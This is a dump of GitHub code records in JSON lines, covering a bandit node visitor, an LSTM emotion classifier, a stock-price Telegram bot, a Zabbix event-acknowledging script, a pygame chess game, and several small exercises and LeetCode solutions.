self.pre_visit(value):\n continue\n self.visit(value, phase=phase)\n self.generic_visit(value, phase=phase)\n self.post_visit(value)\n\n def update_scores(self, scores):\n '''Score updater\n\n Since we moved from a single score value to a map of scores per\n severity, this is needed to update the stored list.\n :param score: The score list to update our scores with\n '''\n # we'll end up with something like:\n # SEVERITY: {0, 0, 0, 10} where 10 is weighted by finding and level\n for score_type in self.scores:\n self.scores[score_type] = list(map(\n operator.add, self.scores[score_type], scores[score_type]\n ))\n\n def process(self, data):\n '''Main process loop\n\n Build and process the AST\n :param lines: lines code to process\n :return score: the aggregated score for the current file\n '''\n f_ast = ast.parse(data)\n self.preprocess_nodes(f_ast)\n for phase in constants.SEQUENCE:\n self.generic_visit(f_ast, phase)\n return self.scores\n","repo_name":"zeroSteiner/bandit-ss","sub_path":"bandit/core/node_visitor.py","file_name":"node_visitor.py","file_ext":"py","file_size_in_byte":11165,"program_lang":"python","lang":"en","doc_type":"code","stars":9,"dataset":"github-code","pt":"61"} +{"seq_id":"5192532867","text":"import re\nimport string\nimport pickle\nfrom os import path\nimport numpy as np\nimport tensorflow as tf\nfrom tensorflow import keras\nfrom tensorflow.keras.preprocessing.sequence import pad_sequences\n\n# Base model\ndef load_model():\n model_path = path.abspath('storage/lstm/Emotion_Recognition.h5')\n return keras.models.load_model(model_path)\n\n# Tokenizer\ndef load_tokenizer():\n tokenizer_path = path.abspath('storage/lstm/tokenizer.pickle')\n return pickle.load(open(tokenizer_path , 'rb'))\n\n# Label Encoder\ndef load_label_encoder():\n labelEncoder_path = path.abspath('storage/lstm/labelEncoder.pickle')\n return pickle.load(open(labelEncoder_path , 'rb'))\n\nstr_punc = string.punctuation.replace(',', '').replace(\"'\",'')\n\ndef clean(text):\n global str_punc\n text = re.sub(r'[^a-zA-Z ]', '', text)\n text = text.lower()\n return text\n\n\ndef make_summary(average_result):\n max_key, max_value = max(average_result.items(), key = lambda k : k[1])\n max_key = str(max_key).lower()\n\n if max_key == \"anger\":\n if max_value > 50:\n return \"Seems like the user is extremely angry.\"\n else:\n return \"Seems like the user is angry.\"\n elif max_key == \"fear\":\n if max_value > 50:\n return \"Seems like the user is in a extreme fear condition.\"\n else:\n return \"Seems like the user is in a fear condition.\"\n elif max_key == \"joy\":\n if max_value > 50:\n return \"Seems like the user is extremely jollify.\"\n else:\n return \"Seems like the user is in joy.\"\n elif max_key == \"love\":\n if max_value > 50:\n return \"Seems like the user is in a excellent condition.\"\n else:\n return \"Seems like the user is having lovely condition.\"\n elif max_key == \"sadness\":\n if max_value > 50:\n return \"Seems like the user is in extremely sad condition.\"\n else:\n return \"Seems like the user is in sad condition.\"\n elif max_key == \"surprise\":\n if max_value > 50:\n return \"Seems like the user is so much surprised.\"\n else:\n return \"Seems like the user is feeling surprise.\"\n else:\n return \"\"\n\ndef predict_texts(sentences):\n model = load_model()\n tokenizer = load_tokenizer()\n le = load_label_encoder()\n le_classes = list(le.classes_)\n results = []\n sentences_len = len(sentences)\n sentence_sum_dict = dict.fromkeys(le_classes, 0)\n\n for sentence in sentences:\n # if text is empty\n if not sentence.strip():\n continue\n original_sentence = sentence\n sentence = clean(sentence)\n sentence = tokenizer.texts_to_sequences([sentence])\n sentence = pad_sequences(sentence, maxlen=256, truncating='pre')\n\n predictData = model.predict(sentence);\n\n sentence_dict = {}\n for index, val in zip(le_classes, predictData[0]):\n sentence_dict[ index ] = round(np.multiply(val, 100), 2)\n sentence_sum_dict[ index ] = sentence_sum_dict[ index ] + sentence_dict[ index ]\n\n results.append({\n \"sentence\": original_sentence,\n \"result\": sentence_dict\n })\n\n average_result = {}\n for key, value in sentence_sum_dict.items():\n average_result[ key.capitalize() ] = round((value / len(results)), 2);\n\n return {\n \"average_result\": average_result,\n \"items_result\": results,\n \"summary\": make_summary(average_result),\n }\n","repo_name":"sourovroy/facebook-feed-emotion","sub_path":"app/lstm_model.py","file_name":"lstm_model.py","file_ext":"py","file_size_in_byte":3499,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"31790214522","text":"# lista= []\n# par = []\n# impar = []\n# for c in range(1,8):\n# num = int(input(f'Digite o {c}° valor: '))\n# lista.append(num)\n# for i, v in enumerate(lista):\n# if v % 2 == 0:\n# par.append(v)\n# if v % 2 == 1:\n# impar.append(v)\n# print(lista)\n# print(sorted(par))\n# print(sorted(impar))\n\nnumero = [[], []]\nvalor = 0\nfor c in range(1,8):\n valor = int(input(f'Digite o {c}° valor: '))\n if valor % 2 == 0:\n numero[0].append(valor)\n if valor % 2 == 1:\n numero[1].append(valor)\nnumero[0].sort()\nnumero[1].sort()\nprint(f'Os valores pares digitados foram: {numero[0]}')\nprint(f'Os valores ímpares digitados forasm: {numero[1]}')\n","repo_name":"AlexandreCalixto/bossrepository","sub_path":"python_guanabara/ex.1-100/83.Lista_par_impar.py","file_name":"83.Lista_par_impar.py","file_ext":"py","file_size_in_byte":696,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"35819552006","text":"#!/usr/bin/env python\nimport argparse\nfrom collections import namedtuple\nimport datetime as dt\nimport json\nimport logging\nimport os\n\nimport requests\n\n\nSTOCK_URL = 'https://www.alphavantage.co/query'\n\n\nStock = namedtuple(\n 'Stock',\n ['open', 'high', 'low', 'close', 'volume', 'date']\n)\n\n\ndef get_stocks(symbol, token):\n \"\"\"doc: https://www.alphavantage.co/documentation/#daily\"\"\"\n params = {\n 'function': 'TIME_SERIES_DAILY',\n 'symbol': symbol,\n 'apikey': token,\n 'datatype': 'json',\n 'outputsize': 'compact',\n }\n response = requests.get(STOCK_URL, params=params)\n response.raise_for_status()\n raw_data = response.json()['Time Series (Daily)']\n return (\n Stock(\n date=dt.datetime.strptime(datestr, '%Y-%m-%d').date(),\n **{key.split(' ', 1)[1]: float(value) for key, value in stock_data.items()}\n )\n for datestr, stock_data in raw_data.items()\n )\n\n\nclass TGException(Exception):\n pass\n\n\nclass TGBot:\n \"\"\"doc: https://core.telegram.org/bots/api\"\"\"\n\n def __init__(self, token):\n self.token = token\n\n def _tg_request(self, method, func, *args, **kwargs):\n url = f'https://api.telegram.org/bot{self.token}/{func}'\n response = requests.request(method, url, *args, **kwargs)\n response.raise_for_status()\n data = response.json()\n if not data.get('ok', False):\n raise TGException(f'Something wrong with {method} request to {url}: {data}')\n return data\n\n def _get(self, func, *args, **kwargs):\n return self._tg_request('get', func, *args, **kwargs)\n\n def _post(self, func, *args, **kwargs):\n return self._tg_request('post', func, *args, **kwargs)\n\n def get_me(self):\n return self._get('getMe')\n\n def get_chat(self, chat_id):\n return self._get('getChat', params={'chat_id': chat_id})\n\n def updates(self):\n return self._get('getUpdates')\n\n def send_message(self, chat_id, message, disable_notification=False):\n params = {\n 'text': message,\n 'chat_id': chat_id,\n 'disable_notification': disable_notification,\n }\n return self._post('sendMessage', params=params)\n\n\nMSG_TEMPLATE = \"\"\"\nДанные по {symbol}:\nЦена закрытия {first_date:%d-%m-%Y}: {first_price:.2f}$;\nЦена закрытия {last_date:%d-%m-%Y}: {last_price:.2f}$;\n{trend}: {dollar_diff:.2f}$ ({percent_diff:.2f}%).\n\"\"\"\n\n\ndef format_message(first_stock, last_stock, symbol):\n dollar_diff = last_stock.close - first_stock.close\n percent_diff = (dollar_diff / first_stock.close) * 100\n template_context = {\n 'symbol': symbol,\n 'first_date': first_stock.date,\n 'last_date': last_stock.date,\n 'first_price': first_stock.close,\n 'last_price': last_stock.close,\n 'trend': 'Рост' if dollar_diff > 0 else 'Падение',\n 'dollar_diff': dollar_diff,\n 'percent_diff': percent_diff,\n }\n return MSG_TEMPLATE.format(**template_context).strip()\n\n\ndef first(filter_func, iterable):\n for item in iterable:\n if filter_func(item):\n return item\n raise ValueError('Does not exist')\n\n\ndef get_stock_message(stock_symbol, stock_period, stock_token):\n logging.info('getting stocks for %s', stock_symbol)\n stocks = get_stocks(stock_symbol, stock_token)\n\n stocks = sorted(stocks, key=lambda stock: stock.date, reverse=True)\n last_stock = stocks[0]\n logging.info('last stock: %s', last_stock)\n first_stock_date = last_stock.date - dt.timedelta(days=stock_period)\n first_stock = first(lambda stock: stock.date <= first_stock_date, stocks)\n logging.info('first stock: %s', first_stock)\n\n message = format_message(first_stock, last_stock, stock_symbol)\n logging.info('%s message: \"\"\"%s\"\"\"', stock_symbol, message)\n return message\n\n\nStockConfig = namedtuple('StockConfig', ['symbol', 'period'])\n\n\ndef parse_args():\n parser = argparse.ArgumentParser()\n parser.add_argument('config_path')\n return parser.parse_args()\n\n\ndef get_env_var(var_name, help_text):\n env_var = os.environ.get(var_name)\n if not env_var:\n error = f'\"{var_name}\" environment variable is required: {help_text}'\n raise EnvironmentError(error)\n return env_var\n\n\ndef parse_config(config_path):\n with open(config_path) as f:\n config_data = json.load(f)\n tg_chat_id = config_data['tg_chat_id']\n stocks = [StockConfig(**stock_config_data) for stock_config_data in config_data['stocks']]\n return tg_chat_id, stocks\n\n\ndef main(stock_token, tg_token, tg_chat_id, stocks_config):\n stock_messages = [get_stock_message(config.symbol, config.period, stock_token) for config in stocks_config]\n message = '\\n\\n'.join(stock_messages)\n bot = TGBot(tg_token)\n logging.info('sending message to chat %d', tg_chat_id)\n bot.send_message(tg_chat_id, message, disable_notification=True)\n logging.info('done')\n\n\nif __name__ == '__main__':\n logging.basicConfig(level=logging.INFO)\n\n stock_token = get_env_var('STOCK_TOKEN', 'https://www.alphavantage.co/support/#api-key')\n tg_token = get_env_var('TG_TOKEN', 'https://core.telegram.org/bots#6-botfather')\n config_path = parse_args().config_path\n tg_chat_id, stock_configs = parse_config(config_path)\n\n main(stock_token, tg_token, tg_chat_id, stock_configs)\n","repo_name":"Dront/stockbot","sub_path":"send_stock_update.py","file_name":"send_stock_update.py","file_ext":"py","file_size_in_byte":5394,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"26399430315","text":"import numpy as np\nfrom sim.sim2d import sim_run\n\n# Simulator options.\noptions = {}\noptions['FIG_SIZE'] = [8,8]\noptions['OBSTACLES'] = False\noptions['FULL_RECALCULATE'] = True\n\n#initial state {x y psi v}\nstate_i = np.array([[0,0,np.pi/2,0]])\n#state_i = np.array([[0,0,0,0]])\n\nclass ModelPredictiveControl:\n def __init__(self):\n self.horizon = 20\n self.dt = 0.1\n\n # Reference or set point the controller will achieve.\n self.reference1 = [2, 0, 3.14/2]\n #self.reference1 = [10, 10, 3.14/2]\n self.reference2 = None #\n\n def plant_model(self,prev_state, dt, pedal, steering):\n psi_t = prev_state[2]\n v_t = prev_state[3]\n\n #position updating\n x_t_1 = prev_state[0] + dt*v_t*np.cos(psi_t)\n y_t_1 = prev_state[1] + dt*v_t*np.sin(psi_t) \n\n #speed updating\n a_t = pedal\n v_dot_t = a_t\n v_t_1 = v_t + v_dot_t*dt - v_t/25.0\n\n #heading angle updating\n L = 2.5 #m, wheelbase\n beta_t = steering #rad \n psi_dot_t = v_t*np.tan(beta_t)/L\n psi_t_1 = psi_t + dt*psi_dot_t\n\n return [x_t_1, y_t_1, psi_t_1, v_t_1]\n\n def cost_function(self, u, *args):\n state = args[0]\n ref = args[1]\n cost = 0.0\n\n prev_steering = u[1]\n\n for k in range(0, self.horizon):\n v_start = state[3]\n state = self.plant_model(state, self.dt, u[k*2], u[k*2 + 1])\n \n #position cost\n #square of euclidian-distance\n err_pos = (ref[0] - state[0])**2 + (ref[1] - state[1])**2\n\n #angular cost\n err_psi = abs(ref[2] - state[2])\n\n #longi accel cost\n accel_cost = abs(state[3] - v_start)**2\n\n #angular speed cost\n steering_cost = abs(u[k*2 + 1] - prev_steering)**2\n\n #normalization of cost is by-passed\n cost += err_pos\n cost += err_psi\n cost += accel_cost\n cost += steering_cost\n\n prev_steering = u[k*2 + 1]\n\n return cost\n\nsim_run(options, ModelPredictiveControl, state_i)\n","repo_name":"v-thiennp12/MPC-learn-car-controller","sub_path":"assignment2.py","file_name":"assignment2.py","file_ext":"py","file_size_in_byte":2259,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"61"} +{"seq_id":"40787589204","text":"import numpy as np\r\nimport matplotlib.pyplot as plt\r\n\r\n#Indra Imanuel Gunawan - 20195118\r\n#Deep Learning Homework 1 | No. 9\r\n\r\ndef countPatternInSequence(pattern, sequence):\r\n count = 0\r\n for i in range(len(sequence) - len(pattern) + 1):\r\n if sequence[i:i + len(pattern)] == pattern:\r\n count += 1\r\n return count\r\n\r\nnumOfSimulation = input(\"Enter number of times you want the simulation be performed:\")\r\nnumOfToss = input(\"Enter number of times the coin will be tossed:\")\r\nnumHTHs = []\r\nnumHTTs = []\r\nfirstOccurrencePosHTHs = []\r\nfirstOccurrencePosHTTs = []\r\n\r\nfor j in range(int(numOfSimulation)):\r\n tossResults = \"\"\r\n for i in range(int(numOfToss)):\r\n #1: Head, 0: Tail\r\n tossResult = np.random.randint(0,2)\r\n tossResults += str(tossResult)\r\n\r\n print(\"\")\r\n print(\"Simulation \" + str(j+1) + \" results :\")\r\n print(\"Toss results:\")\r\n print(tossResults)\r\n\r\n #HTH (101)\r\n numHTH = countPatternInSequence(\"101\",tossResults)\r\n numHTHs.append(numHTH)\r\n print(\"Number of times HTH (101) showed up: \" + str(numHTH))\r\n firstOccurrencePosHTH = tossResults.find(\"101\")\r\n firstOccurrencePosHTHs.append(firstOccurrencePosHTH)\r\n print(\"The first occurrence of HTH is on position: \"+str(firstOccurrencePosHTH))\r\n\r\n #HTT (100)\r\n numHTT = countPatternInSequence(\"100\",tossResults)\r\n numHTTs.append(numHTT)\r\n print(\"Number of times HTT (100) showed up: \" + str(numHTT))\r\n firstOccurrencePosHTT = tossResults.find(\"100\")\r\n firstOccurrencePosHTTs.append(firstOccurrencePosHTT)\r\n print(\"The first occurrence of HTT is on position: \" + str(firstOccurrencePosHTT))\r\n\r\ntotalOccurrenceHTH = np.sum(numHTHs)\r\ntotalOccurrenceHTT = np.sum(numHTTs)\r\nx = np.arange(1,int(numOfSimulation)+1)\r\nplt.plot(x, numHTHs, label=\"HTH; totalOccurences:\"+str(totalOccurrenceHTH))\r\nplt.plot(x, numHTTs, label=\"HTT; totalOccurences:\"+str(totalOccurrenceHTT))\r\nplt.xlabel = \"Number of simulations\"\r\nplt.ylabel = \"Number of occurences\"\r\nplt.title(\"Number of occurrences | \" + numOfSimulation + \" simulations | \" + numOfToss + \" tosses/simulation\")\r\nplt.legend()\r\nplt.show()\r\n\r\navgPosHTH = np.mean(firstOccurrencePosHTHs)\r\navgPosHTT = np.mean(firstOccurrencePosHTTs)\r\nplt.plot(x, firstOccurrencePosHTHs, label=\"HTH; avgPos:\"+str(avgPosHTH))\r\nplt.plot(x, firstOccurrencePosHTTs, label=\"HTT; avgPos:\"+str(avgPosHTT))\r\nplt.xlabel = \"Number of simulations\"\r\nplt.ylabel = \"First occurence of pattern\"\r\nplt.title(\"Position of the first occurences of pattern | \" + numOfSimulation + \" simulations | \" + numOfToss + \" tosses/simulation\")\r\nplt.legend()\r\nplt.show()","repo_name":"Indraa145/DeepLearning_CoinTossSimulation","sub_path":"CoinToss_Simulation.py","file_name":"CoinToss_Simulation.py","file_ext":"py","file_size_in_byte":2615,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"956277696","text":"class Solution:\n def bitwiseComplement(self, N: int) -> int:\n bi=bin(N)\n res=0\n for i in bi[2:]:\n if i==\"1\":\n res=res*2\n else:\n res=res*2+1\n return res\n \n","repo_name":"jingzhij/Leetcode","sub_path":"1009 十进制整数的反码.py","file_name":"1009 十进制整数的反码.py","file_ext":"py","file_size_in_byte":242,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"75066557955","text":"#!/usr/local/bin/python3\n\"\"\"input_counter.py\"\"\"\n\nmyset = set()\nmydict = {}\nmysetlength = len(myset)\nwhile True:\n text = input(\"Enter a line (or Enter to quit): \")\n if not text:\n break\n for punc in \",?;.\":\n text = text.replace(punc, \"\")\n textwords = (text.lower().split())\n for word in textwords:\n myset.add(word)\n newsetlength = len(myset)\n if newsetlength > mysetlength:\n mydict[word] = newsetlength\n mysetlength = newsetlength\n for word in (mydict.keys()):\n print(word, mydict[word]) \nprint(\"Finished\")","repo_name":"ceeblet/OST_PythonCertificationTrack","sub_path":"Python1/python1Homework/input_counter1.py","file_name":"input_counter1.py","file_ext":"py","file_size_in_byte":587,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"37654565096","text":"import os, progressbar, re\r\nimport os.path as path\r\nimport parseformat\r\n\r\nEMAIL_REGEX = re.compile(\"[a-zA-Z0-9!#$%&'*+\\-/=?^_`{|}~.]+@([a-zA-Z0-9-]+[.])+[a-zA-Z0-9-]+\")\r\n\r\nclass Parser(object):\r\n\r\n def __init__(self, parseFormat, exporter):\r\n self.chunkSize = int(5e6)\r\n self.refillThreshold = self.chunkSize//10\r\n self.parseFormat = parseFormat\r\n self.exporter = exporter\r\n\r\n def readChunk(self, file):\r\n return file.read(self.chunkSize)\r\n\r\n def parseFile(self, fileName, dumpName, junkFolder, doProgBar=True):\r\n file = open(fileName, \"rb\")\r\n junkFileName = \"%s.junk\" % path.join(junkFolder, path.basename(path.abspath(fileName)))\r\n junkFile = open(junkFileName, \"wb\")\r\n \r\n if doProgBar:\r\n print(\"[*] Parsing: %s\" % fileName)\r\n barCounter = 0\r\n fileSize = os.stat(fileName).st_size\r\n bar = progressbar.ProgressBar(max_value=fileSize)\r\n\r\n buff = self.readChunk(file)\r\n\r\n buffPos = buff.find(self.parseFormat.prefixJunk) + len(self.parseFormat.prefixJunk)\r\n suffixJunk = self.parseFormat.suffixJunk if self.parseFormat.suffixJunk != b\"\" else b\"\\x00\"*10\r\n suffixPos = buff.rfind(suffixJunk, buffPos)\r\n\r\n emailError = False\r\n lineError = False\r\n fileEmpty = False\r\n\r\n assert all([c in (parseformat.PARAMS + parseformat.JUNK_PARAM) for c in self.parseFormat.format.decode()]), \"[ERROR] Unknown parse parameter\"\r\n\r\n dataEntries = []\r\n\r\n # optimizations\r\n lineDelimiter = self.parseFormat.lineDelimiter\r\n lineDelimiterLen = len(self.parseFormat.lineDelimiter)\r\n exportEntries = self.exporter.exportEntries\r\n delimiter = self.parseFormat.delimiter\r\n formatExtended = self.parseFormat.formatExtended\r\n formatLen = len(self.parseFormat.format)\r\n junkWrite = junkFile.write\r\n regexFullMatch = EMAIL_REGEX.fullmatch\r\n\r\n while buffPos < len(buff) and buffPos != suffixPos:\r\n endOfLinePos = buff.find(lineDelimiter, buffPos)\r\n endOfLinePos = endOfLinePos if endOfLinePos != -1 else len(buff)\r\n\r\n line = buff[buffPos:endOfLinePos]\r\n values = line.split(delimiter)\r\n if len(values) != formatLen:\r\n lineError = True\r\n junkWrite(b\"%s\\n\" % line)\r\n else:\r\n try:\r\n info = {k:v.decode() for (k,v) in zip(formatExtended, values) if v != b\"\" and len(v) < 500} # Mongodb won't index fields larger than 1024\r\n if 'email' in info and regexFullMatch(info['email'].strip()) == None:\r\n emailError = True\r\n junkWrite(b\"%s\\n\" % line)\r\n else:\r\n info.pop(\"junk\", \"\")\r\n info['dumpsource'] = dumpName\r\n if 'email' in info:\r\n email = info['email']\r\n info['domain'] = email[email.find(\"@\") + 1:]\r\n dataEntries.append(info)\r\n except UnicodeDecodeError as e:\r\n lineError = True\r\n junkWrite(b\"%s\\n\" % line)\r\n\r\n buffPos = endOfLinePos + lineDelimiterLen\r\n\r\n if not fileEmpty and len(buff) - buffPos < self.refillThreshold:\r\n exportEntries(dataEntries)\r\n dataEntries = []\r\n if doProgBar:\r\n barCounter += buffPos\r\n bar.update(barCounter)\r\n nextChunk = self.readChunk(file)\r\n if len(nextChunk) == 0:\r\n fileEmpty = True\r\n buff = buff[buffPos:] + nextChunk\r\n buffPos = 0\r\n suffixPos = buff.rfind(suffixJunk)\r\n \r\n exportEntries(dataEntries)\r\n if doProgBar:\r\n bar.finish()\r\n file.close()\r\n if junkFile.tell() == 0:\r\n junkFile.close()\r\n os.unlink(junkFileName)\r\n else:\r\n junkFile.close()\r\n if lineError:\r\n print(\"[WARN] Line errors occured, check junk file.\")\r\n if emailError:\r\n print(\"[WARN] Some emails didn't look like emails, check junk file.\")\r\n return not (emailError or lineError)\r\n\r\n def parseFolder(self, folderName, dumpName, junkFolder, ext='.txt'):\r\n files = os.listdir(folderName)\r\n files = [f for f in files if f.endswith(ext)]\r\n fileSizes = [os.stat(path.join(folderName, f)).st_size for f in files]\r\n\r\n print(\"[*] Parsing %d files.\" % len(files))\r\n bar = progressbar.ProgressBar(max_value=sum(fileSizes)/1e9)\r\n errorFiles = []\r\n cumSum = 0\r\n bar.update(cumSum)\r\n for (i,f) in enumerate(files):\r\n if not self.parseFile(path.join(folderName, f), dumpName, junkFolder, False):\r\n errorFiles.append(f)\r\n cumSum += fileSizes[i]\r\n bar.update(cumSum/1e9)\r\n bar.finish()\r\n if len(errorFiles):\r\n print(\"[ERROR] Problems were found while parsing the following %d files:\" % len(errorFiles))\r\n print(errorFiles)\r\n","repo_name":"mattiasgrenfeldt/dumpsearch-py","sub_path":"src/dumpparser.py","file_name":"dumpparser.py","file_ext":"py","file_size_in_byte":5214,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"14802950478","text":"import sys\r\nimport os\r\nimport dotenv\r\nfrom pyzabbix import ZabbixAPI, ZabbixAPIException, ZabbixAPIObject, ZabbixAPIMethod\r\n\r\nif len(sys.argv) <= 1:\r\n print(\r\n \"Por favor informe o nome do grupo que deseja obter o ID\"\r\n )\r\n exit(1)\r\n\r\ng_name = sys.argv[1]\r\n\r\n# Login API do Zabbix \r\ndotenv.load_dotenv(dotenv.find_dotenv())\r\nTOKEN = os.getenv(\"api_token\")\r\n\r\n#Insira a URL do seu Zabbix Server\r\n#Crie um arquivo .env na pasta deste script e insira o token API do zabbix:\r\n# EXEMPLO api_token=<seu_token>\r\nz = ZabbixAPI(\"http://192.168.0.44\")\r\nz.login(api_token=TOKEN)\r\n\r\ngroup = z.hostgroup.get(filter={'name': g_name}, selectTriggers='extend')\r\ngroup_id = group[0]['groupid']\r\n#print(group[0]['groupid'])\r\n\r\np = z.problem.get(groupids=group_id, selectHosts='extend')\r\nevent_ids = [event['eventid'] for event in p]\r\n\r\nfor event_id in event_ids:\r\n eventupdate = z.event.acknowledge(\r\n eventids=[event_id],\r\n action=1,\r\n message=\"Problema fechado por se tratar de um falso alerta.\"\r\n )\r\n\r\n\r\n \r\n ","repo_name":"FrancoTadeu/CloseEventsZabbix","sub_path":"close_events.py","file_name":"close_events.py","file_ext":"py","file_size_in_byte":1047,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"19198986199","text":"import pygame as p\nimport time\nimport sys \nimport chess\n\nWIDTH = HEIGHT = 512\nDIMENSION = 8\nSQ_SIZE = HEIGHT//DIMENSION\nMAX_FPS = 15\nIMAGES = {}\n\ndef loadImages():\n pieces = ['bp','bR','wR','bB','wB','bN','wN','bQ','wQ','bK','wK','wp']\n\n for i in pieces:\n IMAGES[i] = p.image.load(\"images/\"+i+\".png\")\n\ndef main():\n p.init()\n screen = p.display.set_mode((WIDTH,HEIGHT))\n clock= p.time.Clock()\n screen.fill(p.Color(\"white\"))\n gs = chess.GameState() \n loadImages()\n run = True\n sqselected = ()\n playerclick = []\n validMoves = gs.getvalidMove()\n moveMade = False\n\n while run:\n for event in p.event.get():\n if event.type == p.QUIT:\n run = False\n elif event.type ==p.MOUSEBUTTONDOWN:\n location = p.mouse.get_pos()\n col = location[0]//SQ_SIZE\n row = location[1]//SQ_SIZE\n print(row,\"<row\",\"col>\",col)\n pices = gs.board[row][col]\n if pices != \"--\":\n color = p.Color(\"dark gray\")\n p.draw.rect(screen,color,p.Rect(col*SQ_SIZE,row*SQ_SIZE,SQ_SIZE,SQ_SIZE))\n screen.blit(IMAGES[pices],p.Rect(col*SQ_SIZE,row*SQ_SIZE,SQ_SIZE,SQ_SIZE))\n p.display.flip()\n else:\n color = p.Color(\"red\")\n p.draw.rect(screen,color,p.Rect(col*SQ_SIZE,row*SQ_SIZE,SQ_SIZE,SQ_SIZE))\n p.display.flip()\n\n\n if sqselected == (row,col):\n sqselected = ()\n playerclick = [] \n else :\n sqselected = (row,col)\n playerclick.append(sqselected)\n if len(playerclick)==2 :\n move = chess.Move(playerclick[0],playerclick[1],gs.board)\n if move in validMoves:\n gs.makeMove(move)\n moveMade = True\n sqselected = ()\n playerclick = []\n print(\"-\"*30)\n else :\n sqselected = ()\n playerclick = [] \n\n elif event.type == p.KEYDOWN:\n if event.key == p.K_z:\n gs.undoMove()\n moveMade = True\n print(\"*\"*30)\n if moveMade:\n validMoves = gs.getvalidMove()\n moveMade = False\n\n if (len(sqselected)==0 and len(playerclick)==0):\n drawGameState(screen,gs)\n clock.tick(MAX_FPS)\n p.display.flip() \n\ndef drawGameState(screen,gs):\n drawBoard(screen)\n drawPieces(screen,gs.board)\n\ndef drawBoard(screen):\n colors = [p.Color(\"light gray\"),p.Color(\"gray\")]\n for i in range(DIMENSION):\n for j in range(DIMENSION):\n color = colors[((i+j)%2)]\n p.draw.rect(screen,color,p.Rect(i*SQ_SIZE,j*SQ_SIZE,SQ_SIZE,SQ_SIZE))\n\ndef drawPieces(screen,board):\n for r in range(DIMENSION):\n for c in range(DIMENSION):\n pices = board[r][c]\n if pices != \"--\":\n screen.blit(IMAGES[pices],p.Rect(c*SQ_SIZE,r*SQ_SIZE,SQ_SIZE,SQ_SIZE))\n\n\nmain()","repo_name":"patelchaitany/Chess","sub_path":"chess_main.py","file_name":"chess_main.py","file_ext":"py","file_size_in_byte":3249,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"33270214741","text":"class StringMethods:\n # https://leetcode.com/problems/longest-common-prefix/\n def longestCommonPrefix_14(self, strs) -> str:\n shortest = min(strs, key=len)\n if len(shortest) <= 0:\n return strs[0]\n ans = []\n pivot = \"\"\n for x in range(len(shortest)):\n pivot = strs[0][x]\n for y in range(len(strs)):\n #print(strs[y][x], \" piv:\",pivot)\n if strs[y][x] != pivot:\n return \"\".join(ans)\n ans.append(pivot)\n return \"\".join(ans)","repo_name":"avoholo/algo","sub_path":"LeetCode/Easy/StringMethods.py","file_name":"StringMethods.py","file_ext":"py","file_size_in_byte":560,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"43187962289","text":"def get_length_of_longest_absolut_path_for_a_file(file_system_represenation: str) -> int:\n stack = list()\n stack.append(0)\n longest_path_length = 0\n delimiter = '/'\n for item in file_system_represenation.split('\\n'):\n num_tabs = __get_number_of_tabs(item)\n if not __is_valid_indented(len(stack) - 1, num_tabs):\n raise InvalidFormatError\n\n for _ in range((len(stack) - 1) - num_tabs):\n stack.pop()\n item = item[num_tabs:]\n if __is_directory(item):\n stack.append(stack[-1] + len(item) + len(delimiter))\n elif __is_file(item):\n longest_path_length = max(stack[-1] + len(item), longest_path_length)\n else:\n assert True, 'This case is not coverd in this solution'\n return longest_path_length\n\n\ndef __is_file(item :str)-> bool:\n return '.' in item and item[-1] != '.'\n\ndef __is_directory(item :str) -> bool:\n return '.' not in item\n\ndef __is_valid_indented(current_indentation_level :int, num_tabs :int) -> bool:\n return 0 <= current_indentation_level - num_tabs\n\ndef __get_number_of_tabs(item :str) -> int:\n for i,c in enumerate(item):\n if c != '\\t':\n return i\n return len(item)\n\n\nclass InvalidFormatError(ValueError):\n pass\n\n\nimport unittest\n\n\nclass TestBoundedOrderLog(unittest.TestCase):\n\n def test_given_example(self):\n file_system = \"\"\"\n dir\n \\tsubdir1\n \\t\\tfile1.ext\n \\t\\tsubsubdir1\n \\tsubdir2\n \\t\\tsubsubdir2\n \\t\\t\\tfile2.ext\n \"\"\".replace(\" \", \"\")\n longest_path = \"dir/subdir2/subsubdir2/file2.ext\"\n self.assertEqual(get_length_of_longest_absolut_path_for_a_file(file_system), len(longest_path))\n\n\n def test_invalid_format_error(self):\n file_system = \"\"\"\n dir\n \\tsubdir\n \\t\\t\\tsubsubsubdir\n \\t\\tsubsubdir\n \"\"\".replace(\" \", \"\")\n with self.assertRaises(InvalidFormatError):\n get_length_of_longest_absolut_path_for_a_file(file_system)\n \n file_system = \"\"\"\n dir\n \\tsubdir\n \\t\\tfile.ext\n \\t\\t\\tsubfile\n \"\"\".replace(\" \", \"\")\n with self.assertRaises(InvalidFormatError):\n get_length_of_longest_absolut_path_for_a_file(file_system)\n\n \n def test_no_file(self):\n file_system = \"\"\"\n dir\n \\tsubdir1\n \\t\\tsubsubdir11\n \\t\\tsubsubdir12\n \\tsubdir2\n \\t\\tsubsubdir2\n \\t\\t\\tsubsubsubdir2\n \"\"\".replace(\" \", \"\")\n longest_path = \"\"\n self.assertEqual(get_length_of_longest_absolut_path_for_a_file(file_system), len(longest_path))\n \n\n def test_empty_input(self):\n file_system = \"\"\n longest_path = \"\"\n self.assertEqual(get_length_of_longest_absolut_path_for_a_file(file_system), len(longest_path))\n\n\nif __name__ == \"__main__\":\n unittest.main()","repo_name":"kafawi/Daily-Coding-Problem","sub_path":"SOLUTIONS/p017/solution.py","file_name":"solution.py","file_ext":"py","file_size_in_byte":2901,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"16283109531","text":"#!.venv/bin/python\n\n\"\"\"\nBuy High, Sell Higher\n\nPrototype of a simple bot for trading 